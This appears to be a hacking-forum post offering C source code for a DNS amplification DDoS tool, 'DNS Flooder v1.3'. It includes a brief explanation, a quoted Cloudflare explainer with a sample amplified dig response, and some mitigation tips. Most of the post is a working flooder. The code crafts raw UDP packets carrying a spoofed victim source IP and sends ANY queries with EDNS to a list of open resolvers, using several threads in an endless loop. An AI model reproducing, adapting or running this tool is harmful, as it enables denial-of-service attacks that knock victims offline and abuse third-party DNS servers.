DNSAmp DDoS [C]

[ZionHD]

What this script does is abuse open dns resolvers. DNS is short for Domain Name System. DNS works by responding to whoever is requesting for Domain Name Records. DNS Servers use port 53 for incoming and outgoing connections. Now what the script does when executed is request a domain name record which sends a tiny packet to the DNS Server, however the packet is modified with a spoofed ip. This spoofed ip is the intended target's ip address. So when the DNS Server gets the domain record for a domain it responds to the spoofed ip with a bigger packet. This packet can be as big as 4Mb.

CloudFlare's Definition:
DNS Amplification Attacks are a way for an attacker to magnify the amount of bandwidth they can target at a potential victim. Imagine you are an attacker and you control a botnet capable of sending out 100Mbps of traffic. While that may be sufficient to knock some sites offline, it is a relatively trivial amount of traffic in the world of DDoS. In order to increase your attack's volume, you could try and add more compromised machines to your botnet. That is becoming increasingly difficult. Alternatively, you could find a way to amplify your 100Mbps into something much bigger.

There are two criteria for a good amplification attack vector: 1) query can be set with a spoofed source address (e.g., via a protocol like ICMP or UDP that does not require a handshake); and 2) the response to the query is significantly larger than the query itself. DNS is a core, ubiquitous Internet platform that meets these criteria and therefore has become the largest source of amplification attacks.

DNS queries are typically transmitted over UDP, meaning that, like ICMP queries used in a SMURF attack, they are fire and forget. As a result, their source attribute can be spoofed and the receiver has no way of determining its veracity before responding. DNS also is capable of generating a much larger response than query. For example, you can send the following (tiny) query (where x.x.x.x is the IP of an open DNS resolver):

Example:

Spoiler

dig ANY isc.org @x.x.x.x

And get back the following (gigantic) response:

; <<>> DiG 9.7.3 <<>> ANY isc.org @x.x.x.x
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5147
;; flags: qr rd ra; QUERY: 1, ANSWER: 27, AUTHORITY: 4, ADDITIONAL: 5

;; QUESTION SECTION:
;isc.org. IN ANY

;; ANSWER SECTION:
isc.org. 4084 IN SOA ns-int.isc.org. hostmaster.isc.org. 2012102700 7200 3600 24796800 3600
isc.org. 4084 IN A 149.20.64.42
isc.org. 4084 IN MX 10 mx.pao1.isc.org.
isc.org. 4084 IN MX 10 mx.ams1.isc.org.
isc.org. 4084 IN TXT "v=spf1 a mx ip4:204.152.184.0/21 ip4:149.20.0.0/16 ip6:2001:04F8::0/32 ip6:2001:500:60::65/128 ~all"
isc.org. 4084 IN TXT "$Id: isc.org,v 1.1724 2012-10-23 00:36:09 bind Exp $"
isc.org. 4084 IN AAAA 2001:4f8:0:2::d
isc.org. 4084 IN NAPTR 20 0 "S" "SIP+D2U" "" _sip._udp.isc.org.
isc.org. 484 IN NSEC _kerberos.isc.org. A NS SOA MX TXT AAAA NAPTR RRSIG NSEC DNSKEY SPF
isc.org. 4084 IN DNSKEY 256 3 5 BQEAAAAB2F1v2HWzCCE9vNsKfk0K8vd4EBwizNT9KO6WYXj0oxEL4eOJ aXbax/BzPFx+3qO8B8pu8E/JjkWH0oaYz4guUyTVmT5Eelg44Vb1kssy q8W27oQ+9qNiP8Jv6zdOj0uCB/N0fxfVL3371xbednFqoECfSFDZa6Hw jU1qzveSsW0=
isc.org. 4084 IN DNSKEY 257 3 5 BEAAAAOhHQDBrhQbtphgq2wQUpEQ5t4DtUHxoMVFu2hWLDMvoOMRXjGr hhCeFvAZih7yJHf8ZGfW6hd38hXG/xylYCO6Krpbdojwx8YMXLA5/kA+ u50WIL8ZR1R6KTbsYVMf/Qx5RiNbPClw+vT+U8eXEJmO20jIS1ULgqy3 47cBB1zMnnz/4LJpA0da9CbKj3A254T515sNIMcwsB8/2+2E63/zZrQz Bkj0BrN/9Bexjpiks3jRhZatEsXn3dTy47R09Uix5WcJt+xzqZ7+ysyL KOOedS39Z7SDmsn2eA0FKtQpwA6LXeG2w+jxmw3oA8lVUgEf/rzeC/bB yBNsO70aEFTd
isc.org. 4084 IN SPF "v=spf1 a mx ip4:204.152.184.0/21 ip4:149.20.0.0/16 ip6:2001:04F8::0/32 ip6:2001:500:60::65/128 ~all"
isc.org. 484 IN RRSIG NS 5 2 7200 20121125230752 20121026230752 4442 isc.org. oFeNy69Pn+/JnnltGPUZQnYzo1YGglMhS/SZKnlgyMbz+tT2r/2v+X1j AkUl9GRW9JAZU+x0oEj5oNAkRiQqK+D6DC+PGdM2/JHa0X41LnMIE2NX UHDAKMmbqk529fUy3MvA/ZwR9FXurcfYQ5fnpEEaawNS0bKxomw48dcp Aco=
isc.org. 484 IN RRSIG SOA 5 2 7200 20121125230752 20121026230752 4442 isc.org. S+DLHzE/8WQbnSl70geMYoKvGlIuKARVlxmssce+MX6DO/J1xdK9xGac XCuAhRpTMKElKq2dIhKp8vnS2e+JTZLrGl4q/bnrrmhQ9eBS7IFmrQ6s 0cKEEyuijumOPlKCCN9QX7ds4siiTIrEOGhCaamEgRJqVxqCsg1dBUrR hKk=
isc.org. 484 IN RRSIG MX 5 2 7200 20121125230752 20121026230752 4442 isc.org. VFqFWRPyulIT8VsIdXKMpMRJTYpdggoGgOjKJzKJs/6ZrxmbJtmAxgEu /rkwD6Q9JwsUCepNC74EYxzXFvDaNnKp/Qdmt2139h/xoZsw0JVA4Z+b zNQ3kNiDjdV6zl6ELtCVDqj3SiWDZhYB/CR9pNno1FAF2joIjYSwiwbS Lcw=
isc.org. 484 IN RRSIG TXT 5 2 7200 20121125230752 20121026230752 4442 isc.org. Ojj8YCZf3jYL9eO8w4Tl9HjWKP3CKXQRFed8s9xeh5TR3KI3tQTKsSeI JRQaCXkADiRwHt0j7VaJ3xUHa5LCkzetcVgJNPmhovVa1w87Hz4DU6q9 k9bbshvbYtxOF8xny/FCiR5c6NVeLmvvu4xeOqSwIpoo2zvIEfFP9deR UhA=
isc.org. 484 IN RRSIG AAAA 5 2 7200 20121125230752 20121026230752 4442 isc.org. hutAcro0NBMvKU/m+2lF8sgIYyIVWORTp/utIn8KsF1WOwwM2QMGa5C9 /rH/ZQBQgN46ZMmiEm4LxH6mtaKxMsBGZwgzUEdfsvVtr+fS5NUoA1rF wg92eBbInNdCvT0if8m1Sldx5/hSqKn8EAscKfg5BMQp5YDFsllsTauA 8Y4=
isc.org. 484 IN RRSIG NAPTR 5 2 7200 20121125230752 20121026230752 4442 isc.org. ZD14qEHR7jVXn5uJUn6XR9Lvt5Pa7YTEW94hNAn9Lm3Tlnkg11AeZiOU 3woQ1pg+esCQepKCiBlplPLcag3LHlQ19OdACrHGUzzM+rnHY50Rn/H4 XQTqUWHBF2Cs0CvfqRxLvAl5AY6P2bb/iUQ6hV8Go0OFvmMEkJOnxPPw 5i4=
isc.org. 484 IN RRSIG NSEC 5 2 3600 20121125230752 20121026230752 4442 isc.org. rY1hqZAryM045vv3bMY0wgJhxHJQofkXLeRLk20LaU1mVTyu7uair7jb MwDVCVhxF7gfRdgu8x7LPSvJKUl6sn731Y80CnGwszXBp6tVpgw6oOcr Pi0rsnzC6lIarXLwNBFmLZg2Aza6SSirzOPObnmK6PLQCdmaVAPrVJQs FHY=
isc.org. 484 IN RRSIG DNSKEY 5 2 7200 20121125230126 20121026230126 4442 isc.org. i0S2MFqvHB3wOhv2IPozE/IQABM/eDDCV2D7dJ3AuOwi1A3sbYQ29XUd BK82+mxxsET2U6hv64crpbGTNJP3OsMxNOAFA0QYphoMnt0jg3OYg+AC L2j92kx8ZdEhxKiE6pm+cFVBHLLLmXGKLDaVnffLv1GQIl5YrIyy4jiw h0A=
isc.org. 484 IN RRSIG DNSKEY 5 2 7200 20121125230126 20121026230126 12892 isc.org. j1kgWw+wFFw01E2z2kXq+biTG1rrnG1XoP17pIOToZHElgpy7F6kEgyj fN6e2C+gvXxOAABQ+qr76o+P+ZUHrLUEI0ewtC3v4HziMEl0Z2/NE0MH qAEdmEemezKn9O1EAOC7gZ4nU5psmuYlqxcCkUDbW0qhLd+u/8+d6L1S nlrD/vEi4R1SLl2bD5VBtaxczOz+2BEQLveUt/UusS1qhYcFjdCYbHqF JGQziTJv9ssbEDHT7COc05gG+A1Av5tNN5ag7QHWa0VE+Ux0nH7JUy0N ch1kVecPbXJVHRF97CEH5wCDEgcFKAyyhaXXh02fqBGfON8R5mIcgO/F DRdXjA==
isc.org. 484 IN RRSIG SPF 5 2 7200 20121125230752 20121026230752 4442 isc.org. IB/bo9HPjr6aZqPRkzf9bXyK8TpBFj3HNQloqhrguMSBfcMfmJqHxKyD ZoLKZkQk9kPeztau6hj2YnyBoTd0zIVJ5fVSqJPuNqxwm2h9HMs140r3 9HmbnkO7Fe+Lu5AD0s6+E9qayi3wOOwunBgUkkFsC8BjiiGrRKcY8GhC kak=
isc.org. 484 IN RRSIG A 5 2 7200 20121125230752 20121026230752 4442 isc.org. ViS+qg95DibkkZ5kbL8vCBpRUqI2/M9UwthPVCXl8ciglLftiMC9WUzq Ul3FBbri5CKD/YNXqyvjxyvmZfkQLDUmffjDB+ZGqBxSpG8j1fDwK6n1 hWbKf7QSe4LuJZyEgXFEkP16CmVyZCTITUh2TNDmRgsoxrvrOqOePWhp 8+E=
isc.org. 4084 IN NS ns.isc.afilias-nst.info.
isc.org. 4084 IN NS ams.sns-pb.isc.org.
isc.org. 4084 IN NS ord.sns-pb.isc.org.
isc.org. 4084 IN NS sfba.sns-pb.isc.org.

;; AUTHORITY SECTION:
isc.org. 4084 IN NS ns.isc.afilias-nst.info.
isc.org. 4084 IN NS ams.sns-pb.isc.org.
isc.org. 4084 IN NS ord.sns-pb.isc.org.
isc.org. 4084 IN NS sfba.sns-pb.isc.org.

;; ADDITIONAL SECTION:
mx.ams1.isc.org. 484 IN A 199.6.1.65
mx.ams1.isc.org. 484 IN AAAA 2001:500:60::65
mx.pao1.isc.org. 484 IN A 149.20.64.53
mx.pao1.isc.org. 484 IN AAAA 2001:4f8:0:2::2b
_sip._udp.isc.org. 4084 IN SRV 0 1 5060 asterisk.isc.org.

;; Query time: 176 msec
;;SERVER: x.x.x.x#53(x.x.x.x)
;; WHEN: Tue Oct 30 01:14:32 2012
;; MSG SIZE rcvd: 3223

That's a 64 byte query that resulted in a 3,223 byte response. In other words, an attacker is able to achieve a 50x amplification over whatever traffic they can initiate to an open DNS resolver. Note, ironically, how the effectiveness of the attack based on the size of the response is made worse by the inclusion of the huge DNSSEC keys -- a protocol designed to make the DNS system more secure.

What can I do?
If you operate a DNS server, please check the settings.

Recursive servers should be restricted to your enterprise or customer IP ranges to prevent abuse. Directions on securing BIND and Microsoft nameservers can be found on the Team CYMRU Website - If you operate BIND, you can deploy the TCP-ANY patch

Authoritative servers should not offer recursion, but can still be used in an attack. Configure your Authoritative DNS servers to use DNS RRL [Response Rate Limiting]Knot DNS and NLNetLabs NSD include this as a standard option now. BIND requires a patch.

CPE DEVICES SHOULD NOT listen for DNS packets on the WAN interface, including NETWORK and BROADCAST addresses.

Prevent spoofing on your network!
Configure Source Address Validation/uRPF/BCP-38 on all CPE and Datacenter equipment edges that have fixed IP ranges. This could be as simple as setting ip verify unicast source reachable-via rx on a router interface. Any staticly routed customer should receive this setting by default.

#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>

#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
#define PACKETS_PER_RESOLVER 5

static uint32_t Q[4096], c = 362436;

struct list
{
                struct sockaddr_in data;
                char domain[256];
                int line;
                struct list *next;
                struct list *prev;
};
struct list *head;

struct thread_data{
                int thread_id;
                struct list *list_node;
                struct sockaddr_in sin;
                int port;
};

struct DNS_HEADER
{
                unsigned short id; // identification number

                unsigned char rd :1; // recursion desired
                unsigned char tc :1; // truncated message
                unsigned char aa :1; // authoritive answer
                unsigned char opcode :4; // purpose of message
                unsigned char qr :1; // query/response flag

                unsigned char rcode :4; // response code
                unsigned char cd :1; // checking disabled
                unsigned char ad :1; // authenticated data
                unsigned char z :1; // its z! reserved
                unsigned char ra :1; // recursion available

                unsigned short q_count; // number of question entries
                unsigned short ans_count; // number of answer entries
                unsigned short auth_count; // number of authority entries
                unsigned short add_count; // number of resource entries
};

//Constant sized fields of query structure
struct QUESTION
{
        unsigned short qtype;
        unsigned short qclass;
};

//Constant sized fields of the resource record structure
struct QUERY
{
                unsigned char *name;
                struct QUESTION *ques;
};

void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
{
                int lock = 0 , i;
                strcat((char*)host,".");

                for(i = 0 ; i < strlen((char*)host) ; i++)
                {
                                if(host[i]=='.')
                                {
                                                *dns++ = i-lock;
                                                for(;lock<i;lock++)
                                                {
                                                                *dns++=host[lock];
                                                }
                                                lock++; //or lock=i+1;
                                }
                }
                *dns++='\0';
}

void init_rand(uint32_t x)
{
                int i;

                Q[0] = x;
                Q[1] = x + PHI;
                Q[2] = x + PHI + PHI;

                for (i = 3; i < 4096; i++)
                Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}

uint32_t rand_cmwc(void)
{
                uint64_t t, a = 18782LL;
                static uint32_t i = 4095;
                uint32_t x, r = 0xfffffffe;
                i = (i + 1) & 4095;
                t = a * Q[i] + c;
                c = (t >> 32);
                x = t + c;
                if (x < c) {
                                x++;
                                c++;
                }
                return (Q[i] = r - x);
}

/* function for header checksums */
unsigned short csum (unsigned short *buf, int nwords)
{
                unsigned long sum;
                for (sum = 0; nwords > 0; nwords--)
                sum += *buf++;
                sum = (sum >> 16) + (sum & 0xffff);
                sum += (sum >> 16);
                return (unsigned short)(~sum);
}

void setup_udp_header(struct udphdr *udph)
{

}

void *flood(void *par1)
{
                struct thread_data *td = (struct thread_data *)par1;

                fprintf(stdout, "Thread %d started\n", td->thread_id);

                char strPacket[MAX_PACKET_SIZE];
                int iPayloadSize = 0;

                struct sockaddr_in sin = td->sin;
                struct list *list_node = td->list_node;
                int iPort = td->port;

                int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
                if(s < 0)
                {
                        fprintf(stderr, "Could not open raw socket. You need to be root!\n");
                        exit(-1);
                }

                //init random
                init_rand(time(NULL));

                // Clear the data
                memset(strPacket, 0, MAX_PACKET_SIZE);

                // Make the packet
                struct iphdr *iph = (struct iphdr *) &strPacket;
                iph->ihl = 5;
                iph->version = 4;
                iph->tos = 0;
                iph->tot_len = sizeof(struct iphdr) + 38;
                iph->id = htonl(54321);
                iph->frag_off = 0;
                iph->ttl = MAXTTL;
                iph->protocol = IPPROTO_UDP;
                iph->check = 0;
                iph->saddr = inet_addr("192.168.3.100");

                iPayloadSize += sizeof(struct iphdr);


                struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
                udph->source = htons(iPort);
                udph->dest = htons(53);
                udph->check = 0;

                iPayloadSize += sizeof(struct udphdr);

                struct DNS_HEADER *dns  = (struct DNS_HEADER *) &strPacket[iPayloadSize];
                dns->id = (unsigned short) htons(rand_cmwc());
                dns->qr = 0; //This is a query
                dns->opcode = 0; //This is a standard query
                dns->aa = 0; //Not Authoritative
                dns->tc = 0; //This message is not truncated
                dns->rd = 1; //Recursion Desired
                dns->ra = 0; //Recursion not available! hey we dont have it (lol)
                dns->z = 0;
                dns->ad = 0;
                dns->cd = 0;
                dns->rcode = 0;
                dns->q_count = htons(1); //we have only 1 question
                dns->ans_count = 0;
                dns->auth_count = 0;
                dns->add_count = htons(1);

                iPayloadSize += sizeof(struct DNS_HEADER);

                sin.sin_port = udph->source;
                iph->saddr = sin.sin_addr.s_addr;
                iph->daddr = list_node->data.sin_addr.s_addr;
                iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);


                char strDomain[256];
                int i;
                int iAdditionalSize = 0;
                while(1)
                {
                                                usleep(0);
                        //set the next node
                        list_node = list_node->next;

                        //Clear the old domain and question
                        memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize);

                        //add the chosen domain and question
                        iAdditionalSize = 0;

                        unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];

                        strcpy(strDomain, list_node->domain);
                        ChangetoDnsNameFormat(qname, strDomain);
                        //printf("!!%s %d\n", list_node->domain, list_node->line);

                        iAdditionalSize += strlen(qname) + 1;

                        struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];
                        qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
                        qinfo->qclass = htons(1);

                        iAdditionalSize += sizeof(struct QUESTION);

                      void *edns = (void *) &strPacket[iPayloadSize + iAdditionalSize];
                memset(edns+2, 0x29, 1);
                memset(edns+3, 0x23, 1);
                memset(edns+4, 0x28, 1);


                        iAdditionalSize += 11;

                        //set new node data
                        iph->daddr = list_node->data.sin_addr.s_addr;

                        udph->len= htons((iPayloadSize + iAdditionalSize + 5) - sizeof(struct iphdr));
                        iph->tot_len = iPayloadSize + iAdditionalSize + 5;

                        udph->source = htons(rand_cmwc() & 0xFFFF);
                        iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);

                        //send
                        for(i = 0; i < PACKETS_PER_RESOLVER; i++)
                        {
                                sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
                        }
                }
}

void ParseResolverLine(char *strLine, int iLine)
{
        char caIP[32] = "";
        char caDNS[512] = "";

        int i;
        char buffer[512] = "";

        int moved = 0;

        for(i = 0; i < strlen(strLine); i++)
        {
                if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')
                {
                        moved++;
                        continue;
                }

                if(moved == 0)
                {
                        caIP[strlen(caIP)] = (char) strLine[i];
                }
                else if(moved == 1)
                {
                        caDNS[strlen(caDNS)] = (char) strLine[i];
                }
        }

        //printf("Found resolver %s, domain %s!\n", caIP, caDNS);

        if(head == NULL)
        {
                head = (struct list *)malloc(sizeof(struct list));

                bzero(&head->data, sizeof(head->data));

                head->data.sin_addr.s_addr=inet_addr(caIP);
                head->data.sin_port=htons(53);
                strcpy(head->domain, caDNS);
                head->line = iLine;
                head->next = head;
                head->prev = head;
        }
        else
        {
                struct list *new_node = (struct list *)malloc(sizeof(struct list));

                memset(new_node, 0x00, sizeof(struct list));

                new_node->data.sin_addr.s_addr=inet_addr(caIP);
                new_node->data.sin_port=htons(53);
                strcpy(new_node->domain, caDNS);
                new_node->prev = head;
                head->line = iLine;
                new_node->next = head->next;
                head->next = new_node;
        }
}

int main(int argc, char *argv[ ])
{
        if(argc < 4)
        {
                fprintf(stderr, "Invalid parameters!\n");
                fprintf(stdout, "DNS Flooder v1.3\nUsage: %s <target IP/hostname> <port to hit> <reflection file (format: IP DOMAIN>> <number threads to use> <time (optional)>\n", argv[0]);
                fprintf(stdout, "Reflection File Format: <IP>[space/tab]<DOMAIN>[space/tab]<IGNORED>[space/tab]<IGNORED>...\n");
                exit(-1);
        }

        head = NULL;

        char *strLine = (char *) malloc(256);
        strLine = memset(strLine, 0x00, 256);

        char strIP[32] = "";
        char strDomain[256] = "";

        int iLine = 0; // 0 = ip, 1 = domain.

        FILE *list_fd = fopen(argv[3],  "r");
        while(fgets(strLine, 256, list_fd) != NULL)
        {
                ParseResolverLine(strLine, iLine);
                iLine++;
        }


        int i = 0;
        int num_threads = atoi(argv[4]);

        struct list *current = head->next;
        pthread_t thread[num_threads];
        struct sockaddr_in sin;
        sin.sin_family = AF_INET;
        sin.sin_port = htons(0);
        sin.sin_addr.s_addr = inet_addr(argv[1]);
        struct thread_data td[num_threads];

        int iPort = atoi(argv[2]);

                printf("Flooding %s\n", argv[1], iPort);

        for(i = 0; i < num_threads; i++)
        {
                td[i].thread_id = i;
                td[i].sin= sin;
                td[i].list_node = current;
                td[i].port = iPort;
                pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
        }

        fprintf(stdout, "Starting Flood...\n");

        if(argc > 4)
        {
                sleep(atoi(argv[5]));
        }
        else
        {
                while(1)
                {
                        sleep(1);
                }
        }

        return 0;
}